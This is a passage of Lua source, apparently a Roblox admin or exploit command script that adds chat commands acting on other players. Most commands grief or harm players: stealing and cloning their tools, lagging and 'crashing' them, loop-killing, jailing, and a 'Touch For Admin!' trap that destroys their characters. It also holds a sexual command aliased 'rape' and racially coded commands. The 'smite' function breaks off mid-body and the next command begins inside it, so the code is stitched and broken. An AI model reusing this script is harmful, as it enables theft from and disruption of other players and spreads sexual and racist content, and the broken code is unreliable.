function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('Accessory') then
v.Parent = SPEAKER.Character
end
end
end
end)
ADD_COMMAND('rhats','rhats [plr]',{'removehats'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid:RemoveAccessories()
end
end
end)
ADD_COMMAND('firstp','firstp [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CameraMode = 'LockFirstPerson'
end
end)
ADD_COMMAND('thirdp','thirdp [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CameraMode = 'Classic'
end
end)
ADD_COMMAND('unname','unname [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Name = _PLAYERS[v].Name
end
end)
ADD_COMMAND('noname','noname [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Name = ''
end
end)
ADD_COMMAND('stun','stun [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Humanoid.PlatformStand = true
end
end)
ADD_COMMAND('unstun','unstun [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Humanoid.PlatformStand = false
end
end)
ADD_COMMAND('guest','guest [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
_PLAYERS[v].CharacterAppearanceId = 1
PCHAR:BreakJoints()
end
end)
ADD_COMMAND('noob','noob [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
_PLAYERS[v].CharacterAppearanceId = 155902847
PCHAR:BreakJoints()
end
end)
ADD_COMMAND('view','view [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
workspace.CurrentCamera.CameraSubject = PCHAR
end
end)
ADD_COMMAND('unview','unview',{},
function()
workspace.CurrentCamera.CameraSubject = _PLAYERS.LocalPlayer.Character
end)
ADD_COMMAND('nolimbs','nolimbs [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
local LIMB = PCHAR.Humanoid:GetLimb(v)
if v:IsA('BasePart') and PCHAR:FindFirstChild('Humanoid') and
LIMB ~= Enum.Limb.Unknown and LIMB ~= Enum.Limb.Head and LIMB ~= Enum.Limb.Torso
then
v:destroy()
end
end
end
end)
ADD_COMMAND('box','box [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
local SB = Instance.new('SelectionBox', PCHAR)
SB.Adornee = SB.Parent
SB.Color = BrickColor.new('' .. (ARGS[2]))
end
end)
ADD_COMMAND('unbox','nobox [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(_PLAYERS[v].Character:GetChildren()) do
if v:IsA('SelectionBox') then
v:destroy()
end
end
end
end)
ADD_COMMAND('ghost','ghost [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0.5
elseif v:IsA('Accessory') and v:FindFirstChild('Handle') then
v.Handle.Transparency = 0.5
elseif PCHAR.Head:FindFirstChild('face') then
PCHAR.Head.face.Transparency = 0.5
end
end
end
end)
ADD_COMMAND('sphere','sphere [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR=_PLAYERS[v].Character
local SS = Instance.new('SelectionSphere', PCHAR)
SS.Adornee = SS.Parent
end
end)
ADD_COMMAND('sky','sky [id]',{},
function(ARGS, SPEAKER)
if ARGS[1] then
for i,v in pairs(_LIGHTING:GetChildren()) do if v:IsA('Sky') then
v:destroy() end end
local SKIES = {'Bk', 'Dn', 'Ft', 'Lf', 'Rt', 'Up'}
local SKY = Instance.new('Sky', _LIGHTING)
for i,v in pairs(SKIES) do
SKY['Skybox' .. v] = 'rbxassetid://' .. ARGS[1] - 1
end
end
end)
ADD_COMMAND('jail','jail [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if FIND_IN_TABLE(JAILED, _PLAYERS[v].Name) then return end
table.insert(JAILED, _PLAYERS[v].Name)
local PCHAR = _PLAYERS[v].Character
local J = JAIL:Clone() J.Parent = workspace
J:MoveTo(PCHAR.Torso.Position) J.Name = 'JAIL_' .. _PLAYERS[v].Name
repeat wait()
PCHAR = _PLAYERS[v].Character if PCHAR and
PCHAR:FindFirstChild('HumanoidRootPart') and J:FindFirstChild('MAIN') then
PCHAR.HumanoidRootPart.CFrame = J.MAIN.CFrame + Vector3.new(0, 1, 0) end
until not FIND_IN_TABLE(JAILED, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('unjail','unjail [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for a,b in pairs(JAILED) do if b == _PLAYERS[v].Name then
table.remove(JAILED, a) end end
if workspace:FindFirstChild('JAIL_' .. _PLAYERS[v].Name) then
workspace['JAIL_' .. _PLAYERS[v].Name]:destroy() end
end
end)
ADD_COMMAND('fix','fix [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('creeper','creeper [plr]',{'crpr'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
CREEPER(_PLAYERS[v])
end
end)
ADD_COMMAND('uncreeper','uncreeper [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('shrek','shrek [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
SHREK(_PLAYERS[v])
end
end)
ADD_COMMAND('unshrek','unshrek [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('nuke','nuke [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
if _PLAYERS[v] and PCHAR and PCHAR:FindFirstChild('Torso') then
local N = Instance.new('Part', workspace)
N.Name = 'nuke_seth'
N.Anchored = true
N.CanCollide = false
N.Shape = 'Ball'
N.Size = Vector3.new(1, 1, 1)
N.BrickColor = BrickColor.new('New Yeller')
N.Transparency = 0.5
N.Reflectance = 0.2
N.TopSurface = 0
N.BottomSurface = 0
N.Touched:connect(function(T)
if T and T.Parent then
local E = Instance.new('Explosion', workspace)
E.Position = T.Position
E.BlastRadius = 20
E.BlastPressure = math.huge
end
end)
local CF = PCHAR.Torso.CFrame
N.CFrame = CF
for i = 1,30 do
N.Size = N.Size + Vector3.new(5, 5, 5)
N.CFrame = CF
wait(1 / 44)
end
N:destroy()
end
end)
end
end)
ADD_COMMAND('unnuke','nonuke',{},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do
if v:IsA('Part') and v.Name == 'nuke_seth' then
v:destroy()
end
end
end)
ADD_COMMAND('infect','infect [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
INFECT(_PLAYERS[v])
end
end)
ADD_COMMAND('uninfect','uninfect [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('duck','duck [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
DUCK(_PLAYERS[v])
end
end)
ADD_COMMAND('unduck','unduck [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('disable','disable [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
PCHAR.Humanoid.Name = 'HUMANOID_' .. _PLAYERS[v].Name
local humanoid = PCHAR['HUMANOID_' .. _PLAYERS[v].Name]
humanoid.Parent = HUMANOIDS
end
end
end)
ADD_COMMAND('enable','enable [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
return
else
if HUMANOIDS:FindFirstChild('HUMANOID_' .. _PLAYERS[v].Name) then
local humanoid = HUMANOIDS['HUMANOID_' .. _PLAYERS[v].Name]
humanoid.Parent = PCHAR humanoid.Name = 'Humanoid'
end
end
end
end)
ADD_COMMAND('clone','clone [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character PCHAR.Archivable = true
local C = PCHAR:Clone() C.Parent = workspace
C:MoveTo(PCHAR:GetModelCFrame().p) C:MakeJoints()
PCHAR.Archivable = false
end
end)
ADD_COMMAND('spin','spin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v.Name == 'SPIN' then
v:destroy()
end
end
local T = PCHAR.Torso
local BG = Instance.new('BodyGyro', T) BG.Name = 'SPIN' BG.maxTorque =
Vector3.new(0, math.huge, 0) BG.P = 11111 BG.cframe = T.CFrame
spawn(function()
repeat wait(1/44)
BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0)
until not BG or BG.Parent ~= T
end)
end
end)
ADD_COMMAND('unspin','unspin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v.Name == 'SPIN' then
v:destroy()
end
end
end
end)
ADD_COMMAND('dog','dog [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
DOG(_PLAYERS[v])
end
end)
ADD_COMMAND('undog','undog [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
end
end)
ADD_COMMAND('loopheal','loopheal [plr]',{'lheal'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not FIND_IN_TABLE(LOOPED_H, _PLAYERS[v].Name) then
table.insert(LOOPED_H, _PLAYERS[v].Name)
end
end
end)
ADD_COMMAND('unloopheal','unloopheal [plr]',{'unlheal'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if FIND_IN_TABLE(LOOPED_H, _PLAYERS[v].Name) then
table.remove(LOOPED_H, GET_IN_TABLE(LOOPED_H, _PLAYERS[v].Name))
end
end
end)
ADD_COMMAND('loopkill','loopheal [plr]',{'lheal'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not FIND_IN_TABLE(LOOPED_K, _PLAYERS[v].Name) then
table.insert(LOOPED_K, _PLAYERS[v].Name)
end
end
end)
ADD_COMMAND('unloopkill','unloopkill [plr]',{'unlkill'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if FIND_IN_TABLE(LOOPED_K, _PLAYERS[v].Name) then
table.remove(LOOPED_K, GET_IN_TABLE(LOOPED_K, _PLAYERS[v].Name))
end
end
end)
ADD_COMMAND('fling','fling [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then
local X
local Z
repeat
X = math.random(-9999, 9999)
until math.abs(X) >= 5555
repeat
Z = math.random(-9999, 9999)
until math.abs(Z) >= 5555
PCHAR.Torso.Velocity = Vector3.new(0, 0, 0)
local BF = Instance.new('BodyForce', PCHAR.Torso) BF.force =
Vector3.new(X * 4, 9999 * 5, Z * 4)
end
end
end)
ADD_COMMAND('alien','alien [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
ALIEN(_PLAYERS[v])
end
end)
ADD_COMMAND('nograv','nograv [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not _PLAYERS[v].Character.Torso:FindFirstChild('nograv_seth') then
NEW'BodyForce'{Name = 'nograv_seth', Force = Vector3.new(0,
GET_MASS(_PLAYERS[v].Character) * 196.2, 0), Parent = _PLAYERS[v].Character.Torso}
end
end
end)
ADD_COMMAND('grav','grav [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if _PLAYERS[v].Character.Torso:FindFirstChild('nograv_seth') then
_PLAYERS[v].Character.Torso.nograv_seth:destroy()
end
end
end)
ADD_COMMAND('uncape','uncape',{},
function(ARGS, SPEAKER)
if LP.Character:FindFirstChild('cape_seth') then
LP.Character.cape_seth:destroy()
end
end)
ADD_COMMAND('paper','paper [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
PAPER_MESH:Clone().Parent = v
end
end
end
end)
ADD_COMMAND('punish','punish [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Parent = nil
end
end)
ADD_COMMAND('unpunish','unpunish [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].Character.Parent = workspace
end
end)
ADD_COMMAND('disco','disco',{},
function(ARGS, SPEAKER)
DISCO = true
if not DISCO then
spawn(function()
repeat wait(1) _LIGHTING.Ambient = C3(math.random(),
math.random(), math.random()) until not DISCO
end)
end
end)
ADD_COMMAND('undisco','undisco',{},
function(ARGS, SPEAKER)
DISCO = false
end)
ADD_COMMAND('smallhead','smallhead [plr]',{'shead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Mesh.Scale = Vector3.new(0.5, 0.5, 0.5)
PCHAR.Head.Mesh.Offset = Vector3.new(0, -0.25, 0)
end
end)
ADD_COMMAND('bighead','bighead [plr]',{'bhead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Mesh.Scale = Vector3.new(2.25, 2.25, 2.25)
PCHAR.Head.Mesh.Offset = Vector3.new(0, 0.5, 0)
end
end)
ADD_COMMAND('fixhead','fixhead [plr]',{'fhead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
PCHAR.Head.Mesh.Offset = Vector3.new(0, 0, 0)
PCHAR.Head.Transparency = 0
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 0 end
end
end)
ADD_COMMAND('removehead','removehead [plr]',{'rhead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Transparency = 1
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 1 end
end
end)
ADD_COMMAND('stealtools','stealtools [plr]',{'stools'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v.Parent = LP.Backpack
end
end
end
end)
ADD_COMMAND('removetools','removetools [plr]',{'rtools'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:destroy()
end
end
end
end)
ADD_COMMAND('clonetools','clonetools [plr]',{'ctools'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:Clone().Parent = LP.Backpack
end
end
end
end)
ADD_COMMAND('dong','dong [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if ARGS[2] == 'black' then
CREATE_DONG(_PLAYERS[v], 'Brown')
end
if ARGS[2] == 'asian' then
CREATE_DONG(_PLAYERS[v], 'Cool yellow')
end
if ARGS[2] == 'alien' then
CREATE_DONG(_PLAYERS[v], 'Lime green')
end
if ARGS[2] == 'frozen' then
CREATE_DONG(_PLAYERS[v], 1019)
end
if not ARGS[2] then
CREATE_DONG(_PLAYERS[v], 'Pastel brown')
end
end
end)
ADD_COMMAND('rocket','rocket [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
local R = ROCKET:Clone()
R.Parent = workspace
local W = Instance.new('Weld', R)
W.Part0 = W.Parent
W.Part1 = PCHAR.Torso
W.C1 = CFrame.new(0, 0.5, 1)
R.force.Force = Vector3.new(0, 15000, 0)
wait()
PCHAR.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame *
CFrame.new(0, 5, 0)
wait(5)
Instance.new('Explosion', R).Position = R.Position
wait(1)
R:destroy()
end)
end
end)
ADD_COMMAND('blackify','blackify [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
COLOR(_PLAYERS[v], 'Really black')
end
end)
ADD_COMMAND('whitify','whitify [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
COLOR(_PLAYERS[v], 'White')
end
end)
ADD_COMMAND('bait','bait',{},
function(ARGS, SPEAKER)
spawn(function()
local M = Instance.new('Model', workspace) M.Name = 'Touch For Admin!'
local P = Instance.new('Part', M) P.Name = 'Head' P.Position =
SPEAKER.Character.Head.Position P.BrickColor = BrickColor.new('Pink') P.Material =
'Neon'
local H = Instance.new('Humanoid', M)
P.Touched:connect(function(RIP) if RIP.Parent.Name ~= SPEAKER.Name or
RIP.Parent.Name ~= LP.Name then if RIP.Parent:FindFirstChild('Humanoid') then
RIP.Parent.Humanoid:destroy() end end end)
end)
end)
ADD_COMMAND('naked','naked [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') or
v:IsA('ShirtGraphic') then
v:destroy()
end
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v:IsA('Decal') then
v:destroy()
end
end
end
end
end)
ADD_COMMAND('decalspam','decalspam [decal]',{'dspam'},
function(ARGS, SPEAKER)
if ARGS[1] then
DECALSPAM(workspace, ARGS[1])
end
end)
ADD_COMMAND('undecalspam','undecalspam',{'undspam'},
function(ARGS, SPEAKER)
if ARGS[1] then
UNDECALSPAM(workspace)
end
end)
ADD_COMMAND('bang','bang [plr]',{'rape'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
BANG(_PLAYERS[v].Name)
end
end)
ADD_COMMAND('lag','lag [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
LAG(_PLAYERS[v])
end
end)
ADD_COMMAND('respawn','respawn [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
RESPAWN(_PLAYERS[v])
end
end)
ADD_COMMAND('stealchar','stealchar [plr]',{'schar'},
function(ARGS, SPEAKER)
local PLAYERS1, PLAYERS2 = GET_PLAYER(ARGS[1])
for i,v in pairs(PLAYERS1) do
RESET_MODEL(SPEAKER.Character) UPDATE_MODEL(SPEAKER.Character,
_PLAYERS[v].Name)
end
end)
ADD_COMMAND('baseplate','baseplate',{'bp'},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Model') and v.Name ==
'baseplate_seth' then v:destroy() end end
local BP = Instance.new('Part', workspace) BP.Name = 'baseplate_seth'
BP.Anchored = true BP.BrickColor = BrickColor.new('Bright green') BP.Size =
Vector3.new(2048, 5, 2048) BP.Position = Vector3.new(0, 0, 0)
end)
ADD_COMMAND('norotate','norotate [plr]',{'nrt'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.AutoRotate =
false end
end
end)
ADD_COMMAND('rotate','rotate [plr]',{'rt'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.AutoRotate =
true end
end
end)
ADD_COMMAND('admin','admin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not CHECK_ADMIN(_PLAYERS[v]) then
table.insert(ADMINS, _PLAYERS[v].userId)
UPDATE_ADMINS()
spawn(function()
game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF ..
'You\'re now an admin!')
wait(3)
game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF .. 'Give
me a try! | ' .. C_PREFIX .. 'ff me')
end)
end
end
end)
ADD_COMMAND('unadmin','unadmin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if CHECK_ADMIN(_PLAYERS[v]) then
if FIND_IN_TABLE(ADMINS, _PLAYERS[v].userId) then
table.remove(ADMINS, GET_IN_TABLE(ADMINS,
_PLAYERS[v].userId))
UPDATE_ADMINS()
game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF ..
'You\'re no longer an admin.')
end
end
end
end)
ADD_COMMAND('age','age [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
NOTIFY(_PLAYERS[v].Name .. ' | ' .. _PLAYERS[v].AccountAge, 255, 255,
255)
end
end)
ADD_COMMAND('unhl','unhl [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Torso') then
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v:IsA('SpotLight') and v.Name == 'seth_hl' then
v:destroy()
end
end
end
end
end)
ADD_COMMAND('crash','crash [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Torso.Anchored = true
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Humanoid') then
for i = 1,10 do
v.HipHeight = 1/0*0
end
end
end
end
end)
ADD_COMMAND('shutdown','shutdown',{},
function(ARGS, SPEAKER)
workspace.Gravity = 1/0*0
end)
ADD_COMMAND('smite','smite [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
local function CastRay(A, B, C) local V = B - A return
workspace:FindPartOnRayWithIgnoreList(Ray.new(A, V.unit * math.min(V.magnitude,
999)), C or {}, false, true) end
local PP = PCHAR.PrimaryPart.Position - Vector3.new(0, 3, 0)
local S = Instance.new('Sound', workspace) S.SoundId =
'rbxassetid://178090362' S.Volume = 1 S:Play() spawn(function() wait(7) S:destroy()
end)
local S,P2 = CastRay(PP, PP - Vector3.new(0, 9, 0), {PCHAR})
ADD_COMMAND('skydive','skydive [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
for i = 0, 3 do
if PCHAR then
PCHAR.HumanoidRootPart.CFrame =
PCHAR.HumanoidRootPart.CFrame + Vector3.new(0, 7500, 0)
end
end
end)
end
end)
ADD_COMMAND('message','message [string]',{'m'},
function(ARGS, SPEAKER)
spawn(function()
if MG then
MESSAGE(GLS(false, 0))
else
LOAD_MESSAGE(GLS(false, 0))
end
end)
end)
ADD_COMMAND('control','control [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
local HB = Instance.new('HopperBin', LP.Backpack) HB.Name =
_PLAYERS[v].Name
local CONTROL_ENABLED = false
local function CONTROL(P, V3)
if CONTROL_ENABLED then
if P.Character and P.Character:FindFirstChild('Humanoid')
then
P.Character.Humanoid:MoveTo(V3)
end
end
end
